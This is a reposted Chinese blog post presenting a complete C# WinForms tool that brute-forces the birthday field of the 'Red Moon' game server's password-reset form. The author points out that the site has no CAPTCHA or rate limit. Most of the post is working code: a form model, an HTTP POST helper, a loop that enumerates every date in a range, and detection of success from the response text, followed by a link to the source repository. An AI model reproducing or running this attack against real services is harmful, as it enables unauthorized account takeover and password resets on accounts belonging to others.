转载

美服红月我接触的第一款网游,生日爆破

这款游戏我已经很久没有玩了,但看了看我11年写的代码,再看看 美服红月的网站 ,卧槽! 竟然还改版了,编译了一下程序,发现这些功能都莫名其妙的不能用了,网站地址换了,提交数据的接口变了,所以又更新了一版。

随着技术的更新,这个小工具也要跟着技术的一起强行升级一下,从net 2.0 升到4.5 。虽然样子有点挫,也懒得改了,但是这个核心功能就是 通过账号密码 暴力找生日,因为这款游戏比较古老估计只有80后才会记得,现在国内只有变态私服,相比较这个米国私服已经运营了长达9年,无外挂、全活人、全手动、GM对中国人很暴力。

改密码的方式,只有生日可以改,通过正确的用户名和密码和生日登录网站,才能改密码,虽然自己账号已经不记得了. 但是没关系,以前朋友给的号还都在。

原理很简单,就是枚举生日,提交请求到服务器,先看看表单和 请求地址和参数

美服红月我接触的第一款网游,生日爆破

表单有三个元素, 账号、密码、生日  ,用fiddler 查看

美服红月我接触的第一款网游,生日爆破

提交数据可以通过HttpWebRequest 和HttpWebResponse 来提交和接受返回信息,根据上面参数先来构造 提交数据的对象

[JsonObject(Newtonsoft.Json.MemberSerialization.OptIn)]  public class CrackBirthdayModel  {   [JsonProperty]   public string account { get; set; }//账号   [JsonProperty]   public string password { get; set; }//密码   [JsonProperty]   public int month { get; set; }//月份   [JsonProperty]   public string day { get; set; }//日   [JsonProperty]   public int year { get; set; }//年   [JsonProperty]   public string submit {  get { return "Submit"; } }//提交方式   [JsonIgnore]    public DateTime CreckDate { get; set; }  } 表单数据对象 

然后我们在构造我们需要提交的请求,通过构造表单对象数据,然后传入HttpHelper. PostAsync<T>(string url, T data, string refe) ,就可以完成模拟请求,尝试一次生日,由于网站没有任何验证码和次数限制,所以我们就可以疯狂的提交尝试。

using Newtonsoft.Json; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Text; using System.Threading.Tasks; namespace RedMoonBirthRecovery {  public class HttpHelper  {   /// <summary>   /// post 提交非异步   /// </summary>   /// <param name="url">登录的url</param>   /// <param name="data">登录url的参数.可用http工具获取. </param>   /// <param name="refe">登录后的网站地址.</param>   /// <returns></returns>   public static string Post<T>(string url, T data, string refe)   {    string result = string.Empty;    try    {     string postData = BuildRequestBody(data);     CookieContainer cc = new CookieContainer();     HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);     request.Method = "POST";     request.ContentType = "application/x-www-form-urlencoded";     request.CookieContainer = cc;     request.ContentLength = postData.Length;     request.Referer = refe;     using (StreamWriter writer = new StreamWriter(request.GetRequestStream(), Encoding.Default))     {      writer.Write(postData);      writer.Flush();     }     using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())     {      StreamReader reader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);      result = reader.ReadToEnd();     }    }    catch (Exception ex)    {     throw ex;    }    return result;   }   /// <summary>   /// Post 提交数据   /// </summary>   /// <typeparam name="T">需要转换参数的类</typeparam>   /// <param name="url">请求URL地址</param>   /// <param name="data">要提交的数据</param>   /// <param name="refe">Referer 前一个页面的地址</param>   /// <returns></returns>   public static Task<string> PostAsync<T>(string url, T data, string refe)   {    string result = string.Empty;    return Task.Run<string>(() =>    {     try     {      string postData = BuildRequestBody(data);      CookieContainer cc = new CookieContainer();      HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);      request.Method = "POST";      request.ContentType = "application/x-www-form-urlencoded";      request.CookieContainer = cc;      request.ContentLength = postData.Length;      request.Referer = refe;      using (StreamWriter writer = new StreamWriter(request.GetRequestStream(), Encoding.Default))      {       writer.Write(postData);       writer.Flush();      }      using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())      {       StreamReader reader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);       result = reader.ReadToEnd();      }     }     catch (Exception ex)     {      throw ex;     }     return result;    });   }   /// <summary>   /// 通过将传入的对象转换为request 提交的参数   /// </summary>   /// <typeparam name="T">对象类型</typeparam>   /// <param name="t">传入的对象</param>   /// <returns></returns>   public static string BuildRequestBody<T>(T t)   {    string result = string.Empty;    if (t != null)    {     string obj = JsonConvert.SerializeObject(t);     Dictionary<string, string> dic = JsonConvert.DeserializeObject<Dictionary<string, string>>(obj);     if (dic.Keys.Count > 0)     {      foreach (var key in dic.Keys)      {       result += key + "=" + dic[key] + "&";      }      int lastAnd = result.LastIndexOf("&");      if (lastAnd > 0)      {       result = result.Substring(0, lastAnd);      }     }    }    return result;   }  } } HttpHelper 

表单很简单,样貌如下

美服红月我接触的第一款网游,生日爆破

由于是winform的程序,所以不得不扯到UI 异步刷新的问题, 11年写的那一版是多线程的,但莫名其妙就不能运行了,也是日了狗了,所以强行把以前的多线程改成了 async异步 方式,但是问题就来了,多线程 可以暂停 和恢复,但是异步只是异步,不能暂停。于是就有了这样的具体思路 :1、根据日期范围构造所有请求对象,2、强对象加入需要异步提交的队列中,3、提交时 记录提交的位置顺序来实现暂停和重置(也可以使用序列化的方式保存队列的对象)

public class CrackTaskModel  {   /// <summary>   /// 开始时间   /// </summary>   public DateTime beginDate { get; set; }   /// <summary>   /// 结束时间   /// </summary>   public DateTime endDate { get; set; }   /// <summary>   /// 所有要提交破解的生日   /// </summary>   public List<CrackBirthdayModel> creakRequests { get; set; }   /// <summary>   /// 执行的顺序   /// </summary>   public int currentIndex { get; set; }   /// <summary>   /// 标记当前是否继续运行   /// </summary>   public bool state { get; set; }  } 数据提交队列 

在UI上控制队列对象的state 标记来让循环中断实现暂停和继续

public partial class BithRecovery : Form  {   public BithRecovery()   {    InitializeComponent();   }   /// <summary>   /// 提交数据队列   /// </summary>   public CrackTaskModel crackTask = null;   /// <summary>   /// 开始按钮   /// </summary>   /// <param name="sender"></param>   /// <param name="e"></param>   private async void btnPost_Click(object sender, EventArgs e)   {    DateTime start = DateTime.Parse("1900/01/01");    DateTime end = DateTime.Parse("1900/01/01");    bool isok = DateTime.TryParse(dtpBeginDay.Text, out start) && DateTime.TryParse(dtpEndDay.Text, out end);    if (isok && end >= start)    {     this.btnPost.Enabled = false;     //生成破解日期     MakeBirth(dtpBeginDay.Text, dtpEndDay.Text);     if (crackTask != null && crackTask.creakRequests.Count > 0)     {      await CrackLoop();     }    }    else    {     MessageBox.Show("截至日期需要大于起始日期");    }   }   /// <summary>   /// 暂停和恢复   /// </summary>   /// <param name="sender"></param>   /// <param name="e"></param>   private async void btnStop_Click(object sender, EventArgs e)   {    if (btnStop.Text == "暂停")    {     stopCrack();     btnStop.Text = "继续";    }    else if (btnStop.Text == "继续")    {     if (crackTask != null && crackTask.creakRequests.Count > 0)     {      btnStop.Text = "暂停";      crackTask.state = false;      await CrackLoop();     }    }    btnPost.Enabled = false;   }   /// <summary>   /// 暂停队列   /// </summary>   public void stopCrack()   {    if (crackTask != null && crackTask.creakRequests.Count > 0)    {     //暂停提交     crackTask.state = true;    }   }   /// <summary>   /// 重置队列   /// </summary>   /// <param name="sender"></param>   /// <param name="e"></param>   private void btnReset_Click(object sender, EventArgs e)   {    stopCrack();    crackTask = null;    btnStop.Text = "暂停";    btnPost.Enabled = true;   }   /// <summary>   /// 异步请求   /// </summary>   /// <returns></returns>   public async Task CrackLoop()   {    if (crackTask != null)    {     for (; crackTask.currentIndex < crackTask.creakRequests.Count; crackTask.currentIndex++)     {      ///如果状态变了,停止循环      if (crackTask.state)      {       break;      }      var task = crackTask.creakRequests[crackTask.currentIndex];      int shengyu = crackTask.creakRequests.Count - 1 - crackTask.currentIndex;      lblStatus.Text = "当前" + task.CreckDate.ToString("yyyy-MM-dd") + "/t 已经尝试了" + (crackTask.currentIndex) + "次/还剩" + shengyu;      bool isok = await CrackBirth(task);      if (isok)      {       lblStatus.Text = "正确生日是:" + task.CreckDate.ToString("yyyy-MM-dd");       break;      }      if (shengyu == 0)      {       lblStatus.Text = "很遗憾没有为你找到账号的生日";      }     }    }   }   /// <summary>   /// 生成生日密码字典   /// </summary>   /// <param name="beginBirth">开始日期</param>   /// <param name="endbirth">结束日期</param>   /// <returns></returns>   public void MakeBirth(string beginBirth, string endbirth)   {    DateTime bdate = new DateTime();    DateTime edate = new DateTime();    bool isConverted = DateTime.TryParse(beginBirth, out bdate) && DateTime.TryParse(endbirth, out edate);    if (isConverted)    {     ///构造所有请求生日的数据     crackTask = new CrackTaskModel { beginDate = bdate, endDate = edate, currentIndex = 0, state = false };     crackTask.creakRequests = new List<CrackBirthdayModel>();     TimeSpan minusdays = edate - bdate;     for (int i = 0; i <= minusdays.Days; i++)     {      var birth = bdate.AddDays(i);      crackTask.creakRequests.Add(new CrackBirthdayModel      {       account = txtaccount.Text,       password = txtPass.Text,       month = birth.Month,       day = birth.ToString("dd"),       year = birth.Year,       CreckDate = birth      });     }    }   }   /// <summary>   /// 尝试猜解生日   /// </summary>   /// <param name="crackBirth">生日请求对象</param>   /// <returns></returns>   public async Task<bool> CrackBirth(CrackBirthdayModel crackBirth)   {    bool ResponseResult = false;    return await Task.Run<bool>(async () =>     {      ///等待提交返回结果      string result = await HttpHelper.PostAsync<CrackBirthdayModel>(RedmoonUri.crackBirthday, crackBirth, RedmoonUri.crackBirthday);      if (result.Contains("Login"))      {       ResponseResult = false;      }      else if (result.Contains("Welcome"))      {       ResponseResult = true;      }      result = string.Empty;      return ResponseResult;     });   } } 程序UI代码 

到此我们的破解之路看看效果吧

美服红月我接触的第一款网游,生日爆破

找到生日了就可以去改密码,咱也不用正在FV刷图 被基友踢下线,现在已经不玩这个游戏了,但是偶尔还是会想去怀念一下初中时代的那种感觉。

需要程序代码在github上下载: https://github.com/shan333chao/RedmoonClassicTool

晒一张游戏的图

美服红月我接触的第一款网游,生日爆破

正文到此结束
Loading...